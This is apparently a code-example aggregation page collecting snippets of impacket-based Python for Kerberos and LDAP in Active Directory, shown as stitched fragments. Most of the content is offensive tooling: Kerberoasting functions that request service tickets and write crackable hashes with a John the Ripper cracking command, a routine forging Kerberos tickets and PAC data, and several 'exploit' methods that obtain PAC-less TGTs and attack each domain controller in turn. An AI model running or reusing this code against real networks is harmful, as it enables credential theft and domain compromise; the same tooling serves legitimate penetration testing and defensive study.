        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 11
        # AP-REQ Authenticator (includes application authenticator
        # subkey), encrypted with the application session key
        # (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
                                                       encodedAuthenticator,
                                                       None)

        apReq['authenticator'] = None
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        blob['MechToken'] = encoder.encode(apReq)

        # Done with the Kerberos saga, now let's get into LDAP

        bindRequest = BindRequest()
        bindRequest['version'] = Integer7Bit(3)
        bindRequest['name'] = LDAPDN(user)
        credentials = SaslCredentials()
        credentials['mechanism'] = LDAPString('GSS-SPNEGO')
        credentials['credentials'] = Credentials(blob.getData())
        bindRequest['authentication'] = AuthenticationChoice(
        ).setComponentByName('sasl', credentials)

        resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']

        if resp['bindResponse']['resultCode'] != 0:
            raise LDAPSessionError(
                errorString='Error in bindRequest -> %s:%s' %
                (resp['bindResponse']['resultCode'].prettyPrint(),
                 resp['bindResponse']['diagnosticMessage']))

        return True
    def enumSPNUsers(self):
        users_spn = {}
        user_tickets = {}

        userDomain = self.domuser.split('@')[1]

        idx = 0
        for entry in self.spn:
            spns = json.loads(self.spn[idx].entry_to_json())
            users_spn[self.splitJsonArr(
                spns['attributes'].get('name'))] = self.splitJsonArr(
                    spns['attributes'].get('servicePrincipalName'))
            idx += 1

        # Get TGT for the supplied user
        client = Principal(self.domuser,
                           type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        try:
            # We need to take the domain from the user@domain since it *could* be a cross-domain user
            tgt, cipher, _, newSession = getKerberosTGT(
                client,
                '',
                userDomain,
                compute_lmhash(self.passwd),
                compute_nthash(self.passwd),
                None,
                kdcHost=None)

            TGT = {}
            TGT['KDC_REP'] = tgt
            TGT['cipher'] = cipher
            TGT['sessionKey'] = newSession

            for user, spn in users_spn.items():
                if isinstance(spn, list):
                    # We only really need one to get a ticket
                    spn = spn[0]
                else:
                    try:
                        # Get the TGS
                        serverName = Principal(
                            spn,
                            type=constants.PrincipalNameType.NT_SRV_INST.value)
                        tgs, cipher, _, newSession = getKerberosTGS(
                            serverName, userDomain, None, TGT['KDC_REP'],
                            TGT['cipher'], TGT['sessionKey'])
                        # Decode the TGS
                        decoded = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
                        # Get different encryption types
                        if decoded['ticket']['enc-part'][
                                'etype'] == constants.EncryptionTypes.rc4_hmac.value:
                            entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format(
                                constants.EncryptionTypes.rc4_hmac.value, user,
                                decoded['ticket']['realm'],
                                spn.replace(':', '~'),
                                hexlify(decoded['ticket']['enc-part']['cipher']
                                        [:16].asOctets()).decode(),
                                hexlify(decoded['ticket']['enc-part']['cipher']
                                        [16:].asOctets()).decode())
                            user_tickets[spn] = entry
                        elif decoded['ticket']['enc-part'][
                                'etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
                            entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format(
                                constants.EncryptionTypes.
                                aes128_cts_hmac_sha1_96.value, user,
                                decoded['ticket']['realm'],
                                spn.replace(':', '~'),
                                hexlify(decoded['ticket']['enc-part']['cipher']
                                        [-12:].asOctets()).decode(),
                                hexlify(decoded['ticket']['enc-part']['cipher']
                                        [:-12].asOctets()).decode())
                            user_tickets[spn] = entry
                        elif decoded['ticket']['enc-part'][
                                'etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
                            entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format(
                                constants.EncryptionTypes.
                                aes256_cts_hmac_sha1_96.value, user,
                                decoded['ticket']['realm'],
                                spn.replace(':', '~'),
                                hexlify(decoded['ticket']['enc-part']['cipher']
                                        [-12:].asOctets()).decode(),
                                hexlify(decoded['ticket']['enc-part']['cipher']
                                        [:-12].asOctets()).decode())
                            user_tickets[spn] = entry
                        elif decoded['ticket']['enc-part'][
                                'etype'] == constants.EncryptionTypes.des_cbc_md5.value:
                            entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format(
                                constants.EncryptionTypes.des_cbc_md5.value,
                                user, decoded['ticket']['realm'],
                                spn.replace(':', '~'),
                                hexlify(decoded['ticket']['enc-part']['cipher']
                                        [:16].asOctets()).decode(),
                                hexlify(decoded['ticket']['enc-part']['cipher']
                                        [16:].asOctets()).decode())
                            user_tickets[spn] = entry

                    except KerberosError:
                        # For now continue
                        # TODO: Maybe look deeper into issue here
                        continue

            if len(user_tickets.keys()) > 0:
                with open('{0}-spn-tickets'.format(self.server), 'w') as f:
                    for key, value in user_tickets.items():
                        f.write('{0}:{1}\n'.format(key, value))
                if len(user_tickets.keys()) == 1:
                    print(
                        '[ ' + colored('OK', 'yellow') +
                        ' ] Got and wrote {0} ticket for Kerberoasting. Run: john --format=krb5tgs --wordlist=<list> {1}-spn-tickets'
                        .format(len(user_tickets.keys()), self.server))
                else:
                    print(
                        '[ ' + colored('OK', 'yellow') +
                        ' ] Got and wrote {0} tickets for Kerberoasting. Run: john --format=krb5tgs --wordlist=<list> {1}-spn-tickets'
                        .format(len(user_tickets.keys()), self.server))
            else:
                print('[ ' + colored('OK', 'green') +
                      ' ] Got {0} tickets for Kerberoasting'.format(
                          len(user_tickets.keys())))

        except KerberosError as err:
            print('[ ' + colored('ERROR', 'red') +
                  ' ] Kerberoasting failed with error: {0}'.format(
                      err.getErrorString()[1]))
Example #20
0
                # Let's get unique user names and a SPN to request a TGS for
                users = dict((vals[1], vals[0]) for vals in answers)

                # Get a TGT for the current user
                TGT = self.getTGT()
                if self.__outputFileName is not None:
                    fd = open(self.__outputFileName, 'w+')
                else:
                    fd = None
                for user, SPN in users.iteritems():
                    try:
                        serverName = Principal(
                            SPN,
                            type=constants.PrincipalNameType.NT_SRV_INST.value)
                        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                            serverName, self.__domain, self.__kdcHost,
                            TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'])
                        self.outputTGS(tgs, oldSessionKey, sessionKey, user,
                                       SPN, fd)
                    except Exception, e:
                        logging.error('SPN: %s - %s' % (SPN, str(e)))
                if fd is not None:
                    fd.close()

        else:
            print "No entries found!"


# Process command-line arguments.
if __name__ == '__main__':
    # Init the example's logger theme
Example #21
0
    def createBasicTicket(self):
        if self.__options.request is True:
            if self.__domain == self.__server:
                logging.info('Requesting TGT to target domain to use as basis')
            else:
                logging.info(
                    'Requesting TGT/TGS to target domain to use as basis')

            if self.__options.hashes is not None:
                lmhash, nthash = self.__options.hashes.split(':')
            else:
                lmhash = ''
                nthash = ''
            userName = Principal(self.__options.user,
                                 type=PrincipalNameType.NT_PRINCIPAL.value)
            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
                userName, self.__password, self.__domain, unhexlify(lmhash),
                unhexlify(nthash), None, self.__options.dc_ip)
            if self.__domain == self.__server:
                kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
            else:
                serverName = Principal(
                    self.__options.spn,
                    type=PrincipalNameType.NT_SRV_INST.value)
                tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                    serverName, self.__domain, None, tgt, cipher, sessionKey)
                kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

            # Let's check we have all the necessary data based on the ciphers used. Boring checks
            ticketCipher = int(kdcRep['ticket']['enc-part']['etype'])
            encPartCipher = int(kdcRep['enc-part']['etype'])

            if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \
                            self.__options.nthash is None:
                logging.critical(
                    'rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. '
                    'Can\'t continue ( or try running again w/o the -request option)'
                )
                return None, None

            if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
                encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
                self.__options.aesKey is None:
                logging.critical(
                    'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
                    'Can\'t continue (or try running again w/o the -request option)'
                )
                return None, None

            if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
                encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
                self.__options.aesKey is not None and len(self.__options.aesKey) > 32:
                logging.critical(
                    'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. '
                    'Can\'t continue (or try running again w/o the -request option)'
                )
                return None, None

            if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value
                    or encPartCipher
                    == EncryptionTypes.aes256_cts_hmac_sha1_96.value
                ) and self.__options.aesKey is None:
                logging.critical(
                    'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
                    'Can\'t continue (or try running again w/o the -request option)'
                )
                return None, None

            if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
                 encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \
                 self.__options.aesKey is not None and len(self.__options.aesKey) < 64:
                logging.critical(
                    'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. '
                    'Can\'t continue')
                return None, None
            kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
            kdcRep['cname']['name-string'] = noValue
            kdcRep['cname']['name-string'][0] = self.__target

        else:
            logging.info('Creating basic skeleton ticket and PAC Infos')
            if self.__domain == self.__server:
                kdcRep = AS_REP()
                kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value
            else:
                kdcRep = TGS_REP()
                kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value
            kdcRep['pvno'] = 5
            if self.__options.nthash is None:
                kdcRep['padata'] = noValue
                kdcRep['padata'][0] = noValue
                kdcRep['padata'][0][
                    'padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value

                etype2 = ETYPE_INFO2()
                etype2[0] = noValue
                if len(self.__options.aesKey) == 64:
                    etype2[0][
                        'etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
                else:
                    etype2[0][
                        'etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
                etype2[0]['salt'] = '%s%s' % (self.__domain.upper(),
                                              self.__target)
                encodedEtype2 = encoder.encode(etype2)

                kdcRep['padata'][0]['padata-value'] = encodedEtype2

            kdcRep['crealm'] = self.__domain.upper()
            kdcRep['cname'] = noValue
            kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
            kdcRep['cname']['name-string'] = noValue
            kdcRep['cname']['name-string'][0] = self.__target

            kdcRep['ticket'] = noValue
            kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value
            kdcRep['ticket']['realm'] = self.__domain.upper()
            kdcRep['ticket']['sname'] = noValue
            kdcRep['ticket']['sname']['name-string'] = noValue
            kdcRep['ticket']['sname']['name-string'][0] = self.__service

            if self.__domain == self.__server:
                kdcRep['ticket']['sname'][
                    'name-type'] = PrincipalNameType.NT_SRV_INST.value
                kdcRep['ticket']['sname']['name-string'][
                    1] = self.__domain.upper()
            else:
                kdcRep['ticket']['sname'][
                    'name-type'] = PrincipalNameType.NT_PRINCIPAL.value
                kdcRep['ticket']['sname']['name-string'][1] = self.__server

            kdcRep['ticket']['enc-part'] = noValue
            kdcRep['ticket']['enc-part']['kvno'] = 2
            kdcRep['enc-part'] = noValue
            if self.__options.nthash is None:
                if len(self.__options.aesKey) == 64:
                    kdcRep['ticket']['enc-part'][
                        'etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
                    kdcRep['enc-part'][
                        'etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
                else:
                    kdcRep['ticket']['enc-part'][
                        'etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
                    kdcRep['enc-part'][
                        'etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
            else:
                kdcRep['ticket']['enc-part'][
                    'etype'] = EncryptionTypes.rc4_hmac.value
                kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value

            kdcRep['enc-part']['kvno'] = 2
            kdcRep['enc-part']['cipher'] = noValue

        pacInfos = self.createBasicPac(kdcRep)

        return kdcRep, pacInfos
Example #22
0
    def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
                      TGS=None, useCache=True):
        """
        logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for (required)
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
        :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
        :param struct TGT: If there's a TGT available, send the structure here and it will be used
        :param struct TGS: same for TGS. See smb3.py for the format
        :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False

        :return: True, raises a LDAPSessionError if error.
        """

        if lmhash != '' or nthash != '':
            if len(lmhash) % 2:     lmhash = '0%s' % lmhash
            if len(nthash) % 2:     nthash = '0%s' % nthash
            try:  # just in case they were converted already
                lmhash = unhexlify(lmhash)
                nthash = unhexlify(nthash)
            except:
                pass

        # Importing down here so pyasn1 is not required if kerberos is not used.
        from impacket.krb5.ccache import CCache
        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
        from impacket.krb5 import constants
        from impacket.krb5.types import Principal, KerberosTime, Ticket
        from pyasn1.codec.der import decoder, encoder
        import datetime

        if TGT is not None or TGS is not None:
            useCache = False

        if useCache is True:
            try:
                ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            except:
                # No cache present
                pass
            else:
                # retrieve user and domain information from CCache file if needed
                if user == '' and len(ccache.principal.components) > 0:
                    user = ccache.principal.components[0]['data']
                if domain == '':
                    domain = ccache.principal.realm['data']
                LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
                principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper())
                creds = ccache.getCredential(principal)
                if creds is None:
                    # Let's try for the TGT and go from there
                    principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
                    creds = ccache.getCredential(principal)
                    if creds is not None:
                        TGT = creds.toTGT()
                        LOG.debug('Using TGT from cache')
                    else:
                        LOG.debug("No valid credentials found in cache. ")
                else:
                    TGS = creds.toTGS()
                    LOG.debug('Using TGS from cache')

        # First of all, we need to get a TGT for the user
        userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        if TGT is None:
            if TGS is None:
                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
                                                                        aesKey, kdcHost)
        else:
            tgt = TGT['KDC_REP']
            cipher = TGT['cipher']
            sessionKey = TGT['sessionKey']

        if TGS is None:
            serverName = Principal('ldap/%s' % self._dstHost,
                                   type=constants.PrincipalNameType.NT_SRV_INST.value)
            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
                                                                    sessionKey)
        else:
            tgs = TGS['KDC_REP']
            cipher = TGS['cipher']
            sessionKey = TGS['sessionKey']

            # Let's build a NegTokenInit with a Kerberos REQ_AP

        blob = SPNEGO_NegTokenInit()

        # Kerberos
        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

        # Let's extract the ticket from the TGS
        tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
        ticket = Ticket()
        ticket.from_asn1(tgs['ticket'])

        # Now let's build the AP_REQ
        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] = constants.encodeFlags(opts)
        seq_set(apReq, 'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = domain
        seq_set(authenticator, 'cname', userName.components_to_asn1)
        now = datetime.datetime.utcnow()

        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 11
        # AP-REQ Authenticator (includes application authenticator
        # subkey), encrypted with the application session key
        # (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)

        apReq['authenticator'] = None
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        blob['MechToken'] = encoder.encode(apReq)

        # Done with the Kerberos saga, now let's get into LDAP

        bindRequest = BindRequest()
        bindRequest['version'] = Integer7Bit(3)
        bindRequest['name'] = LDAPDN(user)
        credentials = SaslCredentials()
        credentials['mechanism'] = LDAPString('GSS-SPNEGO')
        credentials['credentials'] = Credentials(blob.getData())
        bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sasl', credentials)

        resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']

        if resp['bindResponse']['resultCode'] != 0:
            raise LDAPSessionError(errorString='Error in bindRequest -> %s:%s' % (
                resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage']))

        return True
Example #23
0
    def exploit(self):
        self.__domainSid, self.__rid = self.getUserSID()

        userName = Principal(
            self.__username,
            type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        while True:
            try:
                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
                    userName,
                    self.__password,
                    self.__domain,
                    self.__lmhash,
                    self.__nthash,
                    None,
                    self.__kdcHost,
                    requestPAC=False)
            except KerberosError, e:
                if e.getErrorCode(
                ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES (most probably
                    # Windows XP). So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if self.__lmhash is '' and self.__nthash is '':
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        self.__lmhash = compute_lmhash(self.__password)
                        self.__nthash = compute_nthash(self.__password)
                        continue
                    else:
                        raise
                else:
                    raise

            # So, we have the TGT, now extract the new session key and finish
            asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]

            # If the cypher in use != RC4 there's gotta be a salt for us to use
            salt = ''
            if asRep['padata']:
                for pa in asRep['padata']:
                    if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
                        etype2 = decoder.decode(
                            str(pa['padata-value'])[2:],
                            asn1Spec=ETYPE_INFO2_ENTRY())[0]
                        salt = str(etype2['salt'])

            cipherText = asRep['enc-part']['cipher']

            # Key Usage 3
            # AS-REP encrypted part (includes TGS session key or
            # application session key), encrypted with the client key
            # (Section 5.4.2)
            if self.__nthash != '':
                key = Key(cipher.enctype, self.__nthash)
            else:
                key = cipher.string_to_key(self.__password, salt, None)

            plainText = cipher.decrypt(key, 3, str(cipherText))
            encASRepPart = decoder.decode(plainText,
                                          asn1Spec=EncASRepPart())[0]
            authTime = encASRepPart['authtime']

            serverName = Principal(
                'krbtgt/%s' % self.__domain.upper(),
                type=constants.PrincipalNameType.NT_PRINCIPAL.value)
            tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(
                serverName, domain, self.__kdcHost, tgt, cipher, sessionKey,
                authTime)

            # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
            serverName = Principal(
                'cifs/%s' % self.__target,
                type=constants.PrincipalNameType.NT_SRV_INST.value)
            try:
                tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(
                    serverName, domain, self.__kdcHost, tgs, cipher,
                    sessionKey)
            except KerberosError, e:
                if e.getErrorCode(
                ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES (most probably
                    # Windows XP). So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if self.__lmhash is '' and self.__nthash is '':
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        self.__lmhash = compute_lmhash(self.__password)
                        self.__nthash = compute_nthash(self.__password)
                    else:
                        raise
                else:
                    raise
Example #24
0
            if self.__requestTGS is True or self.__requestUser is not None:
                # Let's get unique user names and a SPN to request a TGS for
                users = dict( (vals[1], vals[0]) for vals in answers)

                # Get a TGT for the current user
                TGT = self.getTGT()
                if self.__outputFileName is not None:
                    fd = open(self.__outputFileName, 'w+')
                else:
                    fd = None
                for user, SPN in users.iteritems():
                    try:
                        serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
                        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain,
                                                                                self.__kdcHost,
                                                                                TGT['KDC_REP'], TGT['cipher'],
                                                                                TGT['sessionKey'])
                        self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd)
                    except Exception , e:
                        logging.error(str(e))
                if fd is not None:
                    fd.close()

        else:
            print "No entries found!"


# Process command-line arguments.
if __name__ == '__main__':
    # Init the example's logger theme
    logger.init()
    def run(self):
        self.__target = self.__kdcHost

        # Connect to LDAP
        try:
            ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost)
            ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
        except ldap.LDAPSessionError as e:
            if str(e).find('strongerAuthRequired') >= 0:
                # We need to try SSL
                ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost)
                ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                raise

        # Building the search filter
        searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"

        try:
            resp = ldapConnection.search(searchFilter=searchFilter,
                                         attributes=['servicePrincipalName', 'sAMAccountName',
                                                     'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
                                         sizeLimit=999)
        except ldap.LDAPSearchError as e:
            if e.getErrorString().find('sizeLimitExceeded') >= 0:
                module.log('sizeLimitExceeded exception caught, giving up and processing the data received', level='debug')
                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
                # paged queries
                resp = e.getAnswers()
            else:
                raise

        answers = []
        module.log('Total of records returned {}'.format(len(resp)), level='info')

        for item in resp:
            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName =  ''
            memberOf = ''
            SPNs = []
            pwdLastSet = ''
            userAccountControl = 0
            lastLogon = 'N/A'
            try:
                for attribute in item['attributes']:
                    if attribute['type'] == 'sAMAccountName':
                        if str(attribute['vals'][0]).endswith('$') is False:
                            # User Account
                            sAMAccountName = str(attribute['vals'][0])
                            mustCommit = True
                    elif attribute['type'] == 'userAccountControl':
                        userAccountControl = str(attribute['vals'][0])
                    elif attribute['type'] == 'memberOf':
                        memberOf = str(attribute['vals'][0])
                    elif attribute['type'] == 'pwdLastSet':
                        if str(attribute['vals'][0]) == '0':
                            pwdLastSet = '<never>'
                        else:
                            pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
                    elif attribute['type'] == 'lastLogon':
                        if str(attribute['vals'][0]) == '0':
                            lastLogon = '<never>'
                        else:
                            lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
                    elif attribute['type'] == 'servicePrincipalName':
                        for spn in attribute['vals']:
                            SPNs.append(str(spn))

                if mustCommit is True:
                    if int(userAccountControl) & UF_ACCOUNTDISABLE:
                        module.log('Bypassing disabled account {}'.format(sAMAccountName), level='debug')
                    else:
                        for spn in SPNs:
                            answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon])
            except Exception as e:
                module.log('Skipping item, cannot process due to error', level='error')

        if len(answers)>0:
            self.printTable(answers, header=["ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"])

            if self.__requestTGS is True:
                # Let's get unique user names and a SPN to request a TGS for
                users = dict( (vals[1], vals[0]) for vals in answers)

                # Get a TGT for the current user
                TGT = self.getTGT()
                for user, SPN in users.items():
                    try:
                        serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
                        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain,
                                                                                self.__kdcHost,
                                                                                TGT['KDC_REP'], TGT['cipher'],
                                                                                TGT['sessionKey'])
                        self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN)
                    except Exception as e:
                        module.log('SPN Exception: {} - {}'.format(SPN, str(e)), level='error')

        else:
            module.log('No entries found!', level='info')
Example #26
0
    def exploit(self):
        self.__domainSid, self.__rid = self.getUserSID()

        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        while True: 
            try:
                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False)
            except KerberosError, e:
                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES (most probably
                    # Windows XP). So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if self.__lmhash is '' and self.__nthash is '':
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        self.__lmhash = compute_lmhash(self.__password) 
                        self.__nthash = compute_nthash(self.__password) 
                        continue
                    else:
                        raise 
                else:
                    raise 

            # So, we have the TGT, now extract the new session key and finish
            asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]

            # If the cypher in use != RC4 there's gotta be a salt for us to use
            salt = ''
            if asRep['padata']:
                for pa in asRep['padata']:
                    if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
                        etype2 = decoder.decode(str(pa['padata-value'])[2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
                        enctype = etype2['etype']
                        salt = str(etype2['salt']) 

            cipherText = asRep['enc-part']['cipher']

            # Key Usage 3
            # AS-REP encrypted part (includes TGS session key or
            # application session key), encrypted with the client key
            # (Section 5.4.2)
            if self.__nthash != '':
                key = Key(cipher.enctype,self.__nthash)
            else:
                key = cipher.string_to_key(self.__password, salt, None)

            plainText = cipher.decrypt(key, 3, str(cipherText))
            encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
            authTime = encASRepPart['authtime']

            serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value)
            tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime)

            # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
            serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
            try:
                tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey)
            except KerberosError, e:
                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES (most probably
                    # Windows XP). So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if self.__lmhash is '' and self.__nthash is '':
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        self.__lmhash = compute_lmhash(self.__password) 
                        self.__nthash = compute_nthash(self.__password) 
                    else:
                        raise 
                else:
                    raise 
Example #27
0
    def exploit(self):
        if self.__kdcHost is None:
            getDCs = True
            self.__kdcHost = self.__domain
        else:
            getDCs = False

        self.__domainSid, self.__rid = self.getUserSID()
        try:
            self.__forestSid = self.getForestSid()
        except Exception as e:
            # For some reason we couldn't get the forest data. No problem, we can still continue
            # Only drawback is we won't get forest admin if successful
            logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
            self.__forestSid = None

        if getDCs is False:
            # User specified a DC already, no need to get the list
            self.__domainControllers.append(self.__kdcHost)
        else:
            self.__domainControllers = self.getDomainControllers()

        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        for dc in self.__domainControllers:
            logging.info('Attacking domain controller %s' % dc)
            self.__kdcHost = dc
            exception = None
            while True:
                try:
                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                            self.__lmhash, self.__nthash, None,
                                                                            self.__kdcHost, requestPAC=False)
                except KerberosError as e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash == '' and self.__nthash == '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                            continue
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break

                # So, we have the TGT, now extract the new session key and finish
                asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]

                # If the cypher in use != RC4 there's gotta be a salt for us to use
                salt = ''
